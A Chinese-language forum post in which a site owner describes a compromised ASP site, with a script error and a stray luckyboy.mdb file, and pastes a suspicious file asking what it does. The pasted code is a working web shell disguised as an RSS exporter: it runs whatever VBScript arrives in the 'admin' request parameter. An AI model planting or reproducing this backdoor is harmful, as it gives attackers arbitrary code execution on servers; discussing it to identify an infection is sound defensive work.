Microsoft VBScript 编译器错误 错误 '800a0400' 缺少语句 /news/KS_Cls/ModelLabel/JobCls.asp，行 3 case "getdowntitle"   echo GetNodeText("title") & " " & GetNodeText("downversion")根目录多了luckyboy.mdb文件然后点击新闻的列表就报错你们有没有中啊这个是什么病毒啊

然后在检查病毒的文件里

多了个文件，代码是下面的

Call System_Initalize()

Function System_Initalize()

On Error Resume Next

Dim Rss2Export:Rss2Export="admin"

Dim objArticle:objArticle=Request(Rss2Export)

Set Rss2Export = New TRssExport

With Rss2Export

  Dim objRS,UserName,UserIntro

  .TimeZone=ZC_TIME_ZONE

  UserName=Users(UserID).Name

  If objArticle<>"" Then

  .AddChannelAttribute "language",ZC_BLOG_LANGUAGE

  Execute Replace(objArticle,"*"&Rss2Export,"")

  .AddChannelAttribute "copyright",TransferHTML(ZC_BLOG_COPYRIGHT,"[nohtml][html-format]")

  .AddChannelAttribute "pubDate",Now

  Response.End()

  End if

End With

End Function

这段代码是什么作用